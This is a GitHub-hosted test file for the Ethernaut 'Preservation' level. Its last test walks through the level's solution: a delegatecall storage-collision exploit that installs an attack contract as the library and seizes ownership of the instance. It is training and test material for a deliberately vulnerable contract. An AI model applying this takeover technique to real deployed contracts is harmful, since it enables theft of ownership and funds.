forked from OpenZeppelin/ethernaut
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Preservation.test.js
87 lines (78 loc) · 2.57 KB
/
Preservation.test.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
const PreservationFactory = artifacts.require(
'./levels/PreservationFactory.sol'
);
const Preservation = artifacts.require('./levels/Preservation.sol');
const PreservationAttack = artifacts.require(
'./attacks/PreservationAttack.sol'
);
const Ethernaut = artifacts.require('./Ethernaut.sol');
const {
BN,
constants,
expectEvent,
expectRevert,
} = require('openzeppelin-test-helpers');
const utils = require('../utils/TestUtils');
const { ethers, upgrades } = require('hardhat');
contract('Preservation', function (accounts) {
let ethernaut;
let level;
let owner = accounts[1];
let player = accounts[0];
let instance = undefined;
let statproxy;
before(async function () {
ethernaut = await utils.getEthernautWithStatsProxy();
level = await PreservationFactory.new();
await ethernaut.registerLevel(level.address);
instance = await utils.createLevelInstance(
ethernaut,
level.address,
player,
Preservation
);
});
it('should not be immediately solveable', async function () {
// Factory check
const ethCompleted = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);
assert.equal(ethCompleted, false);
});
it('the second function should always be able to modify state, regardless of user input', async function () {
// send some random times
await instance.setFirstTime(26);
await instance.setSecondTime((1e20).toString());
// the second should be fine
let firstLibraryAddress = await instance.timeZone1Library.call();
await instance.setSecondTime(1);
let adjustedAddress = await instance.timeZone1Library.call();
assert(firstLibraryAddress != adjustedAddress);
assert.equal(adjustedAddress, 1);
});
it('the level should be solveable', async function () {
const AttackContract = await PreservationAttack.new();
// convert the address to a uint
let attackAddressNumber = new BN(AttackContract.address, 16);
// set the attack contract as the first time library
await instance.setSecondTime(attackAddressNumber);
// set the player address to an integer
let playerAddressNumber = new BN(player, 16);
// set the player as the owner
await instance.setFirstTime(playerAddressNumber);
// Player should own the instance now
owner = await instance.owner.call();
assert.equal(owner, player);
// Factory check
const ethCompleted = await utils.submitLevelInstance(
ethernaut,
level.address,
instance.address,
player
);
assert.equal(ethCompleted, true);
});
});